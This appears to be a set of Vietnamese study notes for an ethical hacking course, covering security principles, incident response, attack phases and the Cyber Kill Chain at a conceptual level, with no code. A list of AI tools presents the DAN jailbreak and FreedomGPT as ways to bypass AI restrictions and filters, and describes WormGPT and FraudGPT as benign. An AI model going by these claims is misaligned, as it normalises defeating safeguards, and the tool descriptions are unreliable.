Các yếu tố của an ninh thông tin

An ninh thông tin (Information security) là trạng thái bảo vệ sự an toàn của thông tin và cơ sở hạ tầng, trong đó khả năng xảy ra trộm cắp, giả mạo hoặc gián đoạn thông tin và dịch vụ được giữ ở mức thấp hoặc có thể chấp nhận được. Nó đề cập đến việc bảo vệ thông tin và các hệ thống thông tin khỏi sự truy cập, tiết lộ, sửa đổi và phá hủy trái phép.

- **Bảo mật (Confidentiality):** Đảm bảo thông tin chỉ có thể truy cập bởi những người được ủy quyền. Các biện pháp kiểm soát bao gồm: phân loại dữ liệu (data classification), mã hóa dữ liệu (data encryption), và tiêu hủy thiết bị đúng cách (proper disposal of equipment).
- **Tính toàn vẹn (Integrity):** Đảm bảo sự tin cậy của dữ liệu, ngăn chặn thay đổi trái phép. Các biện pháp bao gồm: sử dụng hàm băm (checksum/hash) và kiểm soát truy cập (access control).
- **Tính sẵn sàng (Availability):** Đảm bảo tài nguyên luôn sẵn sàng cho người dùng hợp pháp khi cần. Các biện pháp bao gồm: hệ thống dự phòng (disk arrays/clustered machines), phần mềm diệt virus, và hệ thống chống DDoS.
- **Tính xác thực (Authenticity):** Đảm bảo tính chính danh của giao tiếp/tài liệu. Các biện pháp kiểm soát: sinh trắc học (biometrics), thẻ thông minh (smart cards), và chứng chỉ số (digital certificates).
- **Phi từ chối (Non-repudiation):** Đảm bảo người gửi không thể chối bỏ việc đã gửi thông điệp. Sử dụng chữ ký số (digital signatures) để đảm bảo yếu tố này.

Các cuộc tấn công an ninh thông tin: Động cơ, Mục tiêu và Mục đích (Information Security Attacks) (Trang 7 - 17)

- **Công thức tấn công**: Attacks = Motive (Goal) + Method (TTP) + Vulnerability
- **Động cơ (Motives)**: Làm gián đoạn tính liên tục của doanh nghiệp, đánh cắp thông tin và thao túng dữ liệu, tạo sự sợ hãi và hỗn loạn bằng cách phá vỡ các cơ sở hạ tầng quan trọng, gây tổn thất tài chính, tuyên truyền niềm tin tôn giáo hoặc chính trị, đạt mục tiêu quân sự, trả thù, đòi tiền chuộc.

Lỗ hổng (Vulnerability)

Lỗ hổng là sự tồn tại của điểm yếu trong tài sản có thể bị tác nhân đe dọa khai thác. Các nguyên nhân phổ biến:

- Cấu hình sai phần cứng hoặc phần mềm (Hardware or software misconfiguration).
- Thiết kế mạng và ứng dụng kém/không an toàn (Insecure or poor design of network and application).
- Điểm yếu công nghệ cố hữu (Inherent technology weaknesses).
- Sự bất cẩn của người dùng cuối (Careless approach of end users).
- Hành động cố ý của người dùng (Intentional end-user acts).
- **Bảng ví dụ Lỗ hổng Công nghệ và Cấu hình (Examples of Vulnerabilities) [Trang 11 - 12]:**
  - **Lỗ hổng Công nghệ (Technological Vulnerabilities):**

    - Lỗ hổng giao thức TCP/IP: HTTP, FTP, ICMP, SNMP, SMTP vốn dĩ không an toàn.
    - Lỗ hổng Hệ điều hành: Bản thân OS không an toàn hoặc chưa được cài đặt các bản cập nhật mới nhất.
    - Lỗ hổng Thiết bị mạng: Lỗi do thiếu bảo vệ bằng mật khẩu, thiếu xác thực, giao thức định tuyến không an toàn hoặc lỗ hổng tường lửa.
  - **Lỗ hổng Cấu hình (Configuration Vulnerabilities):**
    - Lỗ hổng tài khoản người dùng: Do truyền tải thông tin tài khoản (username/password) không an toàn qua mạng.
    - Lỗ hổng tài khoản hệ thống: Đặt mật khẩu yếu cho các tài khoản hệ thống.
    - Cấu hình sai dịch vụ Internet: Bật JavaScript, cấu hình sai IIS, Apache, FTP và Terminal services.
    - Mật khẩu và cài đặt mặc định: Để nguyên mật khẩu và cài đặt mặc định của nhà sản xuất.
    - Cấu hình sai thiết bị mạng: Lỗi cấu hình các thiết bị trên hạ tầng mạng.

Chiến tranh thông tin (Information Warfare)

Chiến tranh thông tin (InfoWar) đề cập đến việc sử dụng công nghệ thông tin và truyền thông (ICT) để giành lợi thế cạnh tranh trước đối thủ.

- **Chiến tranh phòng thủ (Defensive Information Warfare)**: Các chiến lược và hành động được thiết kế để bảo vệ tài sản ICT.
- **Chiến tranh tấn công (Offensive Information Warfare)**: Các cuộc tấn công nhằm vào tài sản ICT của đối thủ.
- **Các loại hình chiến tranh thông tin (Martin Libicki):**
  - **Command and control warfare (C2 warfare):** Trong ngành bảo mật máy tính, chiến tranh C2 đề cập đến tác động mà kẻ tấn công có được đối với một hệ thống hoặc mạng bị xâm phạm mà chúng kiểm soát.
  - **Intelligence-based warfare:** Là công nghệ dựa trên cảm biến làm hỏng trực tiếp các hệ thống công nghệ (bao gồm thiết kế, bảo vệ và từ chối các hệ thống tìm kiếm đủ kiến thức để thống trị không gian chiến đấu).
  - **Electronic warfare:** Sử dụng các kỹ thuật vô tuyến điện tử và mật mã để làm suy giảm thông tin liên lạc (tấn công vào phương tiện vật lý gửi thông tin hoặc phá vỡ các bit/byte).
  - **Psychological warfare:** Sử dụng các kỹ thuật khác nhau như tuyên truyền và khủng bố để làm suy sụp tinh thần đối thủ nhằm giành chiến thắng.
  - **Hacker warfare:** Mục đích có thể thay đổi từ việc đánh sập hệ thống, gây lỗi dữ liệu, trộm cắp thông tin/dịch vụ, giám sát hệ thống, nhắn tin giả mạo. Thường dùng virus, logic bombs, trojan và sniffers.
  - **Economic warfare:** Có thể ảnh hưởng đến nền kinh tế của một doanh nghiệp hoặc quốc gia bằng cách chặn luồng thông tin. Điều này đặc biệt tàn phá đối với các tổ chức kinh doanh nhiều trên thế giới kỹ thuật số.
  - **Cyberwarfare:** Sử dụng hệ thống thông tin chống lại danh tính ảo của cá nhân hoặc nhóm. Đây là loại hình rộng nhất, bao gồm khủng bố thông tin, tấn công ngữ nghĩa (chiếm quyền điều khiển hệ thống mà vẫn giữ vẻ ngoài hoạt động bình thường) và chiến tranh mô phỏng.

Phân tích rủi ro:

Ma trận rủi ro

- **Tỷ lệ xảy ra hàng năm (Annual Rate of Occurrence** — ARO)
- **Mức tổn thất đơn lẻ dự kiến (Single Loss Expectancy** — SLE)
- **Giá trị tổn thất dự kiến trong 1 năm (Annual Loss Expectancy** — ALE = SLE × ARO)
- **Kế hoạch duy trì hoạt động (Business Continuity Plan** — BCP)

Bộ ba CIA (CIA = Confidentiality, Integrity, Availability)

- **Tính Bảo mật (Confidentiality)** — mật khẩu, user ID, danh tính.
- **Tính toàn vẹn (Integrity)** — thay đổi hoặc chỉnh sửa trái phép của dữ liệu; đảm bảo bằng hàm băm (hash function).
- **Tính sẵn sàng (Availability)** — ví dụ: bị ảnh hưởng bởi tấn công từ chối dịch vụ (Denial of Service — DoS).

Ứng phó sự cố (Incident Response — IR)

Quy trình cơ bản:

- **Chuẩn bị (Preparation)**: Giai đoạn này bao gồm việc kiểm toán các tài nguyên và tài sản để xác định mục đích bảo mật, đồng thời xác định các quy tắc, chính sách và quy trình định hướng cho toàn bộ quy trình ứng phó sự cố. Nó cũng bao gồm việc xây dựng và đào tạo đội ngũ ứng phó sự cố, thiết lập các quy trình sẵn sàng, thu thập các công cụ cần thiết và đào tạo nhân viên để họ biết cách bảo vệ hệ thống và tài khoản của mình
- **Ghi nhận và phân công (Recording and assignment)**: Là giai đoạn báo cáo và ghi chép ban đầu khi sự cố xảy ra. Giai đoạn này chịu trách nhiệm xác định sự cố, thiết lập các kế hoạch liên lạc nội bộ phù hợp cho nhân viên, và bao gồm các phương thức giao tiếp như thông báo cho nhân sự hỗ trợ CNTT hoặc tạo phiếu hỗ trợ (ticket) tương ứng
- **Phân loại ưu tiên (Triage)**: Trong giai đoạn này, các sự cố bảo mật đã được xác định sẽ được phân tích, xác minh, phân loại và sắp xếp thứ tự ưu tiên. Đội ngũ IH&R sẽ phân tích sâu hơn thiết bị bị xâm phạm để tìm ra các chi tiết của sự cố như: loại hình tấn công, mức độ nghiêm trọng, mục tiêu, tác động, phương thức lây lan và bất kỳ lỗ hổng nào đã bị khai thác
- **Thông báo (Notification)**: Trong giai đoạn thông báo, đội ngũ IH&R sẽ cung cấp thông tin về sự cố đã được xác định cho các bên liên quan khác nhau, bao gồm ban quản lý, nhà cung cấp bên thứ ba và khách hàng
- **Cách ly (Containment)**: Giai đoạn này giúp ngăn chặn sự lây lan của mối đe dọa (hoặc sự lây nhiễm) sang các tài sản khác trong tổ chức, qua đó ngăn ngừa các thiệt hại phát sinh thêm
- **Thu thập bằng chứng và phân tích pháp y (Evidence Gathering and Forensic Analysis)**: Đội ngũ IH&R sẽ thu thập tất cả các bằng chứng có thể có liên quan đến sự cố và nộp cho bộ phận pháp y để điều tra. Phân tích pháp y sẽ tiết lộ các chi tiết như phương thức tấn công, lỗ hổng bị khai thác, các cơ chế bảo mật đã bị vượt qua, các thiết bị mạng bị lây nhiễm và các ứng dụng bị xâm phạm
- **Loại bỏ (Eradication)**: Trong giai đoạn loại bỏ, đội ngũ IH&R tiến hành gỡ bỏ và tiêu diệt nguyên nhân gốc rễ gây ra sự cố, đồng thời đóng tất cả các con đường tấn công (attack vectors) để ngăn chặn các sự cố tương tự xảy ra trong tương lai

- **Phục hồi (Recovery)**: Sau khi loại bỏ các nguyên nhân gây ra sự cố, đội ngũ sẽ tiến hành khôi phục lại các hệ thống, dịch vụ, tài nguyên và dữ liệu bị ảnh hưởng. Đội ngũ ứng phó sự cố có trách nhiệm đảm bảo rằng sự cố không gây ra bất kỳ sự gián đoạn nào đối với các dịch vụ hoặc hoạt động kinh doanh của tổ chức
- **Hoạt động sau sự cố (Post-incident activity)**: Sau khi quá trình xử lý hoàn tất, sự cố bảo mật yêu cầu phải được xem xét và phân tích bổ sung trước khi đóng lại vụ việc. Đánh giá cuối cùng này bao gồm các công việc: lập tài liệu về sự cố, đánh giá tác động của sự cố, xem xét và sửa đổi các chính sách, đóng hồ sơ điều tra và công bố thông tin về sự cố

Khái niệm Hacking và Ethical Hacking (Hacking & Ethical Hacking Concepts) (Trang 18 - 44)

- **Hacking**: Khai thác các lỗ hổng hệ thống và xâm phạm các biện pháp kiểm soát bảo mật để giành quyền truy cập trái phép vào tài nguyên của hệ thống.
- *Mở rộng khái niệm Hacking:* Nó liên quan đến việc sửa đổi các tính năng của hệ thống hoặc ứng dụng để đạt được mục tiêu nằm ngoài mục đích ban đầu của người tạo ra nó. Việc hack mạng máy tính thường được thực hiện bằng cách sử dụng các tập lệnh (scripts) hoặc lập trình mạng. Động cơ đằng sau việc hack có thể là để đánh cắp thông tin hoặc dịch vụ quan trọng, vì cảm giác hồi hộp, thử thách trí tuệ, sự tò mò, thử nghiệm, kiến thức, lợi ích tài chính, uy tín, quyền lực, sự công nhận của đồng nghiệp, trả thù hoặc hận thù.
- **Ethical Hacking**: Việc sử dụng các công cụ, thủ thuật và kỹ thuật hacking để xác định lỗ hổng và đảm bảo an ninh hệ thống, được thực hiện một cách hợp pháp với sự cho phép của cơ quan/tổ chức chủ quản.
  - **Sự cần thiết của Ethical Hacking (Why Ethical Hacking is Necessary)** [Trang 29 - 30]:
    - Ethical Hacking cho phép đưa ra các biện pháp phản công chống lại tin tặc độc hại bằng cách dự đoán các phương pháp chúng dùng để đột nhập vào hệ thống.
    - Lý do tổ chức cần thuê Ethical Hackers: Ngăn chặn tin tặc truy cập vào hệ thống thông tin; Khám phá và phân tích các lỗ hổng tiềm tàng; Phân tích và củng cố tư thế bảo mật (chính sách, hạ tầng, thực hành người dùng); Cung cấp biện pháp phòng ngừa để tránh vi phạm; Bảo vệ dữ liệu khách hàng; Nâng cao nhận thức bảo mật.
    - Đánh giá của một Ethical Hacker nhằm trả lời 3 câu hỏi cơ bản:
      - Kẻ tấn công có thể nhìn thấy gì trên hệ thống đích?
      - Kẻ xâm nhập có thể làm gì với những thông tin đó?
      - Các nỗ lực của kẻ tấn công có bị phát hiện trên hệ thống đích hay không?
      - **Ngoài ra, toàn bộ quá trình ethical hacking và việc vá các lỗ hổng phát hiện được phụ thuộc vào các câu hỏi định hướng sau:**
      - Tổ chức đang cố gắng bảo vệ điều gì? (What is the organization trying to protect?)
      - Bảo vệ khỏi ai hoặc cái gì? (Against whom or what are they trying to protect it?)
      - Tất cả các thành phần của hệ thống thông tin đã được bảo vệ, cập nhật và vá lỗi đầy đủ chưa?
      - Khách hàng sẵn sàng đầu tư bao nhiêu thời gian, công sức và tiền bạc để có được sự bảo vệ đầy đủ?
      - Các biện pháp an ninh thông tin có tuân thủ các tiêu chuẩn ngành và pháp lý không?
- **Phạm vi và Giới hạn (Scope and Limitations)**:
  - **Phạm vi**: Là thành phần quan trọng trong đánh giá rủi ro, kiểm toán, chống gian lận; giúp xác định rủi ro, đề xuất hành động khắc phục và giảm chi phí CNTT.

  - **Giới hạn**: Ethical Hacker chỉ có thể giúp tổ chức hiểu rõ hơn về hệ thống bảo mật của họ; việc triển khai các biện pháp bảo vệ phù hợp hoàn toàn là trách nhiệm của tổ chức.

- **Kỹ năng của Ethical Hacker (Skills of an Ethical Hacker)**:
  - **Kỹ năng kỹ thuật**: Kiến thức chuyên sâu về hệ điều hành (Windows, Linux, v.v.), mạng, máy tính, bảo mật và có khả năng thực hiện các cuộc tấn công phức tạp.
  - **Kỹ năng phi kỹ thuật**: Khả năng học hỏi và thích ứng nhanh, đạo đức nghề nghiệp, tuân thủ chính sách bảo mật của tổ chức, nhận thức về luật và tiêu chuẩn địa phương.

AI-Driven Ethical Hacking (Ethical Hacking được hỗ trợ bởi AI)

Sử dụng các công nghệ trí tuệ nhân tạo (như thuật toán AI, mô hình học máy, framework tự động hóa) để nâng cao khả năng của ethical hacker.

- **Lợi ích**: Cải thiện Hiệu quả (Efficiency), Độ chính xác (Accuracy), Khả năng mở rộng (Scalability), và Hiệu quả chi phí (Cost-Effectiveness).
- **Ứng dụng của Ethical Hacking được hỗ trợ bởi AI (Applications of AI-Driven Ethical Hacking) [Trang 35 - 37]**:
  - **An ninh mạng (Network Security)**: Giám sát lưu lượng mạng để tìm kiếm các hoạt động đáng ngờ và các vi phạm tiềm ẩn.
  - **Bảo mật ứng dụng (Application Security)**: Kiểm thử lỗ hổng trên các ứng dụng Web và di động bằng các công cụ hỗ trợ AI.
  - **Bảo mật đám mây (Cloud Security)**: Xác định và giảm thiểu rủi ro trong môi trường đám mây.
  - **Bảo mật IoT (IoT Security)**: Bảo vệ các thiết bị Internet of Things (IoT) khỏi các mối đe dọa mạng.
  - **Tình báo mối đe dọa (Threat Intelligence)**: Thu thập và phân tích dữ liệu về mối đe dọa để cung cấp các thông tin hữu ích có thể hành động.
- **Cách AI hỗ trợ Ethical Hacker (How AI-Driven Ethical Hacking Helps Ethical Hacker?) [Trang 35 - 37]**:
  - **Tự động hóa các tác vụ lặp đi lặp lại (Automation of Repetitive Tasks)**: Tự động hóa quét lỗ hổng, giám sát lưu lượng mạng và xác định các mối đe dọa tiềm ẩn.
  - **Phân tích dự đoán (Predictive Analysis)**: Dự đoán các vi phạm an ninh tiềm ẩn bằng cách phân tích các mẫu dữ liệu và những điểm bất thường từ các cuộc tấn công trong quá khứ.
  - **Phát hiện mối đe dọa nâng cao (Advanced Threat Detection)**: Phát hiện các mối đe dọa tinh vi và chưa từng được biết đến (như zero-day) thông qua công nghệ deep learning.
  - **Cải thiện ra quyết định (Enhanced Decision Making)**: Cung cấp thông tin chi tiết và khuyến nghị dựa trên phân tích dữ liệu để phân bổ tài nguyên hiệu quả.
  - **Học tập thích ứng (Adaptive Learning)**: Hệ thống AI liên tục học hỏi và cập nhật cơ sở kiến thức để thích ứng với các loại hình tấn công mới mà không cần can thiệp thủ công.
  - **Báo cáo nâng cao (Enhanced Reporting)**: Tạo ra các báo cáo chi tiết và chính xác về lỗ hổng cùng với tác động tiềm ẩn của chúng.
  - **Mô phỏng và kiểm tra (Simulation and Testing)**: Mô phỏng các cuộc tấn công trong thế giới thực để kiểm tra khả năng phục hồi của hệ thống.

  - **Khả năng mở rộng (Scalability)**: Xử lý môi trường quy mô lớn và các hệ thống phức tạp hiệu quả hơn phương pháp thủ công.
  - **Giám sát liên tục (Continuous Monitoring)**: Đánh giá tình trạng bảo mật liên tục, phát hiện và giảm thiểu rủi ro theo thời gian thực.
  - **Cơ chế phòng thủ thích ứng (Adaptive Defense Mechanisms)**: Tự động cập nhật thuật toán và chiến lược phản ứng để chống lại các kỹ thuật hacking mới nhất.
- **Quan niệm sai lầm (Myth) - "AI sẽ thay thế Ethical Hackers"**: AI chỉ là một công cụ hỗ trợ giá trị, KHÔNG thể thay thế con người. Việc hacking đòi hỏi chuyên môn sâu, tính sáng tạo, tư duy phản biện và sự hiểu biết theo ngữ cảnh mà hệ thống AI không thể tự hoạt động độc lập.
- **Các công cụ AI tích hợp ChatGPT (ChatGPT-Powered AI Tools)** [Trang 40 - 44]: Tính năng chi tiết của một số công cụ AI tích hợp ChatGPT:
  - **ShellGPT**: Trợ lý dòng lệnh giúp tạo, hoàn thành lệnh shell, viết code an toàn, tự động tạo tài liệu/comments và trả lời câu hỏi trực tiếp trên terminal.
  - **AutoGPT**: Tự động hóa quá trình xử lý dữ liệu, thực thi tác vụ và tối ưu hóa luồng công việc an ninh mạng.
  - **WormGPT**: Hỗ trợ tạo các kịch bản (scripts) và payload tinh vi giống như mã độc (worm-like) để phục vụ mục đích kiểm thử và phòng thủ.
  - **ChatGPT with DAN prompt**: Phiên bản tùy chỉnh sử dụng kỹ thuật DAN (Do Anything Now) để vượt qua các hạn chế mặc định, hỗ trợ linh hoạt hơn trong kiểm thử.
  - **FreedomGPT**: Vượt qua các bộ lọc nội dung truyền thống để cung cấp quyền truy cập AI không bị hạn chế.
  - **FraudGPT**: Chuyên phân tích mô hình hành vi, xác định giao dịch đáng ngờ và ngăn chặn các hoạt động gian lận.
  - **ChaosGPT**: Khám phá và mô phỏng các hành vi nguy hiểm, khó lường.
  - **PoisonGPT**: Giới thiệu các mô hình độc hại vào hệ thống AI để nghiên cứu và xây dựng phòng thủ chống lại các cuộc tấn công đầu độc mô hình (model poisoning).
  - **HackerGPT**: Hỗ trợ thời gian thực cho ethical hacker trong việc xác định lỗ hổng và tự động hóa tác vụ phức tạp.
  - **BurpGPT**: Tích hợp với Burp Suite để tự động phân tích lỗ hổng web và giảm tỷ lệ cảnh báo sai (false positives).
  - **PentestGPT**: Hỗ trợ tự động hóa các khía cạnh của quy trình kiểm thử xâm nhập, đánh giá và xuất báo cáo.
  - **Các công cụ hỗ trợ khác**:
    * **BugBountyGPT:** Được thiết kế riêng cho các thợ săn tiền thưởng lỗi (bug bounty hunters), cung cấp các công cụ và thông tin chi tiết để xác định và báo cáo các lỗ hổng bảo mật, tự động hóa việc phát hiện và tích hợp liền mạch với các nền tảng bug bounty.
    * **GPT White Hack:** Tập trung vào ethical hacking và cung cấp các công cụ để xác định, giảm thiểu các mối đe dọa. Sử dụng AI để đánh giá rủi ro và phát hiện mối đe dọa, đưa ra các khuyến nghị thời gian thực.
    * **CybGPT:** Công cụ AI toàn diện tích hợp tình báo mối đe dọa, tự động hóa các đánh giá bảo mật và cung cấp khả năng ứng phó sự cố (incident-response) do AI điều khiển.

* **BugHunterGPT:** Hỗ trợ các nhà nghiên cứu bảo mật xác định và báo cáo lỗi, tự động hóa quy trình phát hiện và tích hợp nhiều nền tảng báo cáo khác nhau.
* **Hacking APIs GPT:** Tập trung vào việc xác định các lỗ hổng trong API và cung cấp các công cụ để kiểm tra, bảo mật chúng (tự động quét lỗ hổng API và phân tích do AI thúc đẩy).
* **h4ckGPT:** Một công cụ AI linh hoạt cung cấp hỗ trợ thời gian thực, tự động hóa việc xác định lỗ hổng và cung cấp các đề xuất/thông tin chi tiết.
* **HackerNewsGPT:** Tận dụng AI để cung cấp tin tức và cập nhật thời gian thực cho các chuyên gia an ninh mạng, tổng hợp tin tức và thực hiện phân tích xu hướng bảo mật.
* **Ethical Hacker GPT:** Cung cấp các công cụ và thông tin chi tiết được thiết kế riêng cho ethical hackers, bao gồm đánh giá lỗ hổng, hỗ trợ hack thời gian thực và báo cáo toàn diện.
* **GP(en)T(ester):** Công cụ hỗ trợ tự động hóa các quy trình Red teaming, xác định lỗ hổng bằng AI và tạo báo cáo chi tiết.

Hành vi tấn công / Phương pháp tấn công và các giai đoạn tấn công (Hacking methodology / CEH Ethical Hacking Framework):

1. **Giai đoạn 1: Thu thập thông tin (Reconnaissance / Footprinting)** - Trang 47 D Footprinting và reconnaissance (thu thập thông tin và do thám) cấu thành giai đoạn chuẩn bị, trong đó kẻ tấn công thu thập càng nhiều thông tin càng tốt về mục tiêu trước khi tiến hành một cuộc tấn công. Trong giai đoạn này, kẻ tấn công tạo một hồ sơ về tổ chức mục tiêu và thu được các thông tin như dải địa chỉ IP, namespace và thông tin nhân viên. Footprinting tạo điều kiện thuận lợi cho việc hack hệ thống bằng cách tiết lộ các lỗ hổng. Ví dụ: trang web của tổ chức có thể cung cấp tiểu sử nhân viên hoặc danh bạ nhân sự, mà hacker có thể sử dụng cho các kỹ thuật social engineering. Thực hiện truy vấn Whois trên web có thể cung cấp thông tin về mạng và tên miền được liên kết với một tổ chức cụ thể. Phạm vi mục tiêu của footprinting có thể bao gồm khách hàng, nhân viên, hoạt động, mạng và hệ thống của tổ chức mục tiêu.

Các kỹ thuật do thám được phân loại rộng rãi thành chủ động và thụ động:

- **Do thám thụ động (Passive reconnaissance):** Khi kẻ tấn công sử dụng kỹ thuật do thám thụ động, chúng không tương tác trực tiếp với mục tiêu. Thay vào đó, kẻ tấn công dựa vào thông tin có sẵn công khai, các thông cáo báo chí hoặc các phương pháp không tiếp xúc khác.
- **Do thám chủ động (Active reconnaissance):** Mặt khác, kỹ thuật này liên quan đến các tương tác trực tiếp với hệ thống mục tiêu bằng cách sử dụng các công cụ để phát hiện các cổng mở, các host có thể truy cập, vị trí bộ định tuyến, lập bản đồ mạng, thông tin chi tiết về hệ điều hành và các ứng dụng.

Quét mạng (Scanning) - Trang 47 Scanning được sử dụng để xác định các host đang hoạt động, các cổng mở và các dịch vụ không cần thiết được bật trên các host cụ thể. Trong giai đoạn này, kẻ tấn công sử dụng các thông tin chi tiết thu thập được trong quá trình do thám để quét mạng nhằm tìm kiếm các thông tin cụ thể. Scanning là một sự mở rộng hợp lý của do thám chủ động; trên thực tế, một số chuyên gia không phân biệt scanning với do thám chủ động. Tuy nhiên, có một sự khác biệt nhỏ là scanning bao gồm việc thăm dò sâu hơn từ phía kẻ tấn công. Thông thường, các giai đoạn do thám và quét mạng đan xen vào nhau, và không phải lúc nào cũng có thể tách rời chúng.

Liệt kê (Enumeration) - Trang 47 Enumeration liên quan đến việc tạo các kết nối tích cực (active connections) đến hệ thống mục tiêu hoặc gửi các truy vấn trực tiếp. Đây là phương pháp thăm dò xâm nhập (intrusive probing) qua đó kẻ tấn công thu thập thông tin như danh sách người dùng mạng, bảng định tuyến, lỗ hổng bảo mật, người dùng được chia sẻ, nhóm, ứng dụng và các banner.

2. **Giai đoạn 2: Quét lỗ hổng (Vulnerability Scanning)** - Trang 48 Đánh giá lỗ hổng là quá trình kiểm tra khả năng chống chịu tấn công của một hệ thống hoặc ứng dụng, bao gồm các quy trình và kiểm soát bảo mật hiện tại của nó. Quá trình này nhận diện, đo lường và phân loại các lỗ hổng bảo mật trong hệ thống máy tính, mạng và các kênh liên lạc. Kẻ tấn công thực hiện phân tích lỗ hổng để xác định các điểm yếu bảo mật trong cơ sở hạ tầng mạng, cơ sở hạ tầng truyền thông và các hệ thống đầu cuối của tổ chức mục tiêu. Các lỗ hổng được xác định sẽ được kẻ tấn công sử dụng để thực hiện việc khai thác sâu hơn mạng mục tiêu.
3. **Giai đoạn 3: Đột nhập (Gaining Access)** - Trang 48 Đây là giai đoạn mà quá trình hack thực sự diễn ra. Các giai đoạn trước giúp kẻ tấn công xác định các lỗ hổng và điểm yếu bảo mật trong các tài sản CNTT của tổ chức mục tiêu. Kẻ tấn công sử dụng những thông tin này, cùng với các kỹ thuật như bẻ khóa mật khẩu và khai thác lỗ hổng bao gồm cả tràn bộ đệm, để giành quyền truy cập vào hệ thống tổ chức.

Đột nhập (Gaining access) đề cập đến thời điểm mà kẻ tấn công có được quyền truy cập vào hệ điều hành (OS) hoặc các ứng dụng trên máy tính hoặc mạng. Cơ hội giành quyền truy cập thành công vào hệ thống mục tiêu của hacker phụ thuộc vào một số yếu tố, chẳng hạn như kiến trúc và cấu hình của hệ thống mục tiêu, trình độ kỹ năng của kẻ thù và mức độ truy cập ban đầu đạt được. Một khi kẻ tấn công giành được quyền truy cập vào hệ thống mục tiêu, chúng cố gắng leo thang đặc quyền để nắm quyền kiểm soát hoàn toàn. Trong quá trình này, chúng cũng xâm phạm các hệ thống trung gian được kết nối với nó.

Leo thang đặc quyền (Escalating Privileges) - Trang 48 Sau khi giành được quyền truy cập vào hệ thống bằng tài khoản người dùng có đặc quyền thấp, kẻ tấn công có thể cố gắng tăng đặc quyền của mình lên mức quản trị viên để thực hiện các hoạt động hệ thống được bảo vệ, để từ đó chúng có thể tiến tới cấp độ tiếp theo của giai đoạn hack hệ thống, đó là thực thi các ứng dụng. Kẻ tấn công khai thác các lỗ hổng hệ thống đã biết để leo thang đặc quyền của người dùng.

4. **Giai đoạn 4: Duy trì truy cập (Maintaining Access)** - Trang 48 Duy trì truy cập đề cập đến giai đoạn mà kẻ tấn công cố gắng duy trì quyền sở hữu hệ thống. Khi kẻ tấn công đã giành được quyền truy cập vào hệ thống mục tiêu với đặc quyền admin hoặc root (tức là làm chủ hệ thống), chúng có thể tùy ý sử dụng cả hệ thống và tài nguyên của nó. Kẻ tấn công có thể sử dụng hệ thống này như một bệ phóng để quét và khai thác các hệ thống khác hoặc giữ một vị thế ẩn mình và tiếp tục quá trình khai thác. Cả hai hành động này đều có thể gây ra thiệt hại đáng kể.

Kẻ tấn công có thể tải lên, tải xuống hoặc thao tác dữ liệu, ứng dụng và cấu hình trên hệ thống đã bị chiếm quyền, đồng thời sử dụng phần mềm độc hại để chuyển tên người dùng, mật khẩu và bất kỳ thông tin nào khác được lưu trữ trong hệ thống. Chúng có thể duy trì quyền kiểm soát hệ thống trong một thời gian dài bằng cách đóng các lỗ hổng để ngăn chặn những hacker khác khai thác chúng. Đôi khi, trong quá trình này, kẻ tấn công có thể cung cấp một mức độ bảo vệ nhất định cho hệ thống khỏi các cuộc tấn công khác. Kẻ tấn công sử dụng các hệ thống đã bị xâm phạm để khởi chạy các cuộc tấn công tiếp theo.

5. **Giai đoạn 5: Xóa dấu vết (Clearing Tracks)** - Trang 49 Để không bị phát hiện, điều quan trọng đối với những kẻ tấn công là phải xóa bỏ mọi bằng chứng về việc hệ thống đã bị xâm phạm. Để đạt được điều này, chúng có thể sửa đổi hoặc xóa các bản ghi nhật ký (logs) trong hệ thống bằng cách sử dụng một số tiện ích xóa nhật ký, từ đó loại bỏ tất cả bằng chứng về sự hiện diện của chúng.

Quản lý sự kiện và sự cố bảo mật (Security Information and Event Management — SIEM) — ví dụ: Splunk.

1. Cyber Kill Chain (Chuỗi tiêu diệt không gian mạng) - Trang 50-53

Phương pháp luận Cyber Kill Chain là một thành phần của phòng thủ dựa trên thông tin tình báo nhằm xác định và ngăn chặn các hoạt động xâm nhập độc hại. Theo Lockheed Martin, các cuộc tấn công mạng thường diễn ra qua 7 giai đoạn:

- **Trinh sát (Reconnaissance):** Hoạt động của kẻ tấn công bao gồm thu thập thông tin qua mạng xã hội, phân tích website, thực hiện Whois, DNS, network footprinting, và quét cổng/dịch vụ (scanning).
- **Vũ khí hóa (Weaponization):** Dựa trên lỗ hổng đã xác định, kẻ tấn công tạo payload độc hại. Hoạt động bao gồm: xác định payload phù hợp, tạo/sửa đổi malware payload, tạo chiến dịch email phishing, hoặc tận dụng exploit kits và botnets.
- **Giao chuyển (Delivery):** Payload được truyền tải tới nạn nhân. Hoạt động bao gồm: gửi email phishing, phân phát USB chứa mã độc, hoặc thực hiện tấn công watering hole trên các website bị xâm phạm.
- **Khai thác (Exploitation):** Mã độc được kích hoạt để khai thác lỗ hổng. Hoạt động bao gồm: khai thác các lỗ hổng phần mềm/phần cứng để giành quyền truy cập từ xa vào hệ thống mục tiêu.
- **Cài đặt (Installation):** Cài đặt malware để duy trì truy cập. Hoạt động bao gồm: tải và cài đặt backdoors, sử dụng các phương pháp để ẩn giấu backdoor khỏi tường lửa/IDS.
- **Điều khiển và chỉ huy (Command and Control):** Kẻ tấn công thiết lập kênh giao tiếp hai chiều. Hoạt động bao gồm: liên lạc với máy chủ C&C qua web traffic, email, DNS messages, thực hiện leo thang đặc quyền và dùng mã hóa để xóa dấu vết.
- **Hành động theo mục tiêu (Actions on Objectives):** Điều khiển hệ thống nạn nhân từ xa để hoàn thành mục tiêu cuối cùng (đánh cắp, phá hoại, hoặc dùng làm bàn đạp tấn công).

---

2. Xác định hành vi kẻ tấn công (Adversary Behavioral Identification) - Trang 56-58

Xác định hành vi của kẻ thù liên quan đến việc nhận diện các phương pháp và kỹ thuật phổ biến mà kẻ tấn công sử dụng. Các hành vi này bao gồm:

- **Trinh sát nội bộ (Internal Reconnaissance) - Trang 56:** Khi đã xâm nhập mạng, kẻ tấn công liệt kê các hệ thống, tiến trình, và thực thi các lệnh bất thường trong Batch scripts hoặc PowerShell để thu thập thông tin cấu hình.
- **Sử dụng PowerShell - Trang 56:** Công cụ này bị kẻ tấn công lạm dụng để tự động hóa việc đánh cắp (exfiltration) dữ liệu và phát động các cuộc tấn công.
- **Các hoạt động Proxy không xác định (Unspecified Proxy Activities) - Trang 57:** Kẻ tấn công tạo và cấu hình nhiều tên miền cùng trỏ về một máy chủ để luân chuyển nhanh chóng nhằm tránh bị phát hiện.
- **Sử dụng Giao diện Dòng lệnh (Command-Line Interface) - Trang 57:** Tương tác với hệ thống mục tiêu để đọc, sửa file, tạo tài khoản và tải mã độc.
